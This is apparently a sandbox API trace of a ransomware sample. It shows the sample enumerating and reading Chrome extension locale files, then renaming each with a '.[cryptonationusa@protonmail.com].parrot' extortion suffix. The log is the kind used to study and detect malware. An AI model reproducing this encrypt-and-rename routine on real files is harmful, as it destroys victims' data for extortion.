[0068.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.125] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x231, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.125] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.125] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.126] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.126] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x119, lpOverlapped=0x0) returned 1 [0068.126] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.126] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x231, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.126] CloseHandle (hObject=0x270) returned 1 [0068.126] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.128] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0068.129] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.129] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb64e8480, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb64e8480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.129] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb64e8480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.130] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.130] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.130] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.130] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.130] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.130] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.131] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x235, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.131] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.131] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.132] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.132] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11d, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x11d, lpOverlapped=0x0) returned 1 [0068.132] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.132] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x235, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.133] CloseHandle (hObject=0x270) returned 1 [0068.133] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0068.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0068.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb655a8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb655a8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb64e8480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.188] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.189] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21a, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.189] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.189] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.190] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.190] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x102, lpOverlapped=0x0) returned 1 [0068.190] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.190] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.190] CloseHandle (hObject=0x270) returned 1 [0068.190] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0068.221] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.221] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb65cccc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb65cccc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.221] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb6580a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.221] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.221] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.221] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.221] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.221] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.221] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.279] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.279] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.279] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.280] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.280] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfe, lpOverlapped=0x0) returned 1 [0068.280] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.280] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.280] CloseHandle (hObject=0x28c) returned 1 [0068.281] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0068.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0068.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0068.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0068.319] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb66b1500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb66b1500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb663f0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0068.319] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0068.319] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0068.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.319] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0068.319] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0068.319] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0068.320] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20a, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.320] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.320] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0068.321] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.321] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf2, lpOverlapped=0x0) returned 1 [0068.321] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.321] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.321] 